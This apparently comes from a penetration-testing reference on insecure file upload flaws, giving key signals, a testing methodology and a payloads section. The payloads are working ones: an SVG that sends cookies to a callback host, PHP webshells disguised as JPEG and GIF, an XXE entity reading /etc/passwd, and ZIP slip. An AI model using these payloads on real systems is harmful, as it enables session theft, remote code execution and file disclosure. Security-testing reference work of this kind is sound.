insecure-file-upload

Insecure File Upload

What Is Broken and Why

File upload endpoints that validate file type only by extension or Content-Type header allow attackers to upload executable files, XSS payloads, XXE-triggering documents, or path-traversal archives. Depending on where files are stored and served, impact ranges from stored XSS to full remote code execution.

Key Signals

• multipart/form-data POST endpoints accepting user files
• File extensions accepted beyond images/docs (or poorly validated)
• Server echoes original filename in response or URL
• Files served from same origin as application (not separate CDN/domain)
• Archive extraction features (ZIP, tar)
• Office document processing (DOCX, XLSX, PPTX — all ZIP+XML internally)
• Image processing pipelines (ImageMagick, Pillow, libvips)

Methodology

1. Upload a valid file; note the URL/path where it's stored and served.
2. Check if files are served from same origin (XSS scope) or separate domain.
3. Attempt extension bypass: shell.php.jpg, shell.php%00.jpg, shell.jpg.php.
4. Modify Content-Type to image/jpeg while uploading a PHP/JSP file.
5. Prepend valid magic bytes to malicious content; attempt upload.
6. Test SVG upload — inject <svg onload="..."> for XSS.
7. Test DOCX/XLSX upload with XXE payload inside XML.
8. For archive extraction: craft ZIP with ../ paths (ZIP slip).
9. Check if filename is reflected anywhere — test for path traversal and injection.

Payloads & Tools

# SVG XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://CALLBACK/?c='+document.cookie)"/>

# PHP webshell disguised as JPEG (magic bytes prepend)
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg

# Null byte bypass (older systems)
filename: shell.php%00.jpg

# XXE in DOCX — inject into word/document.xml inside the archive
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

# ZIP slip
zip --symlinks traversal.zip ../../etc/passwd

# Polyglot GIF+PHP
GIF89a<?php system($_GET['cmd']); ?>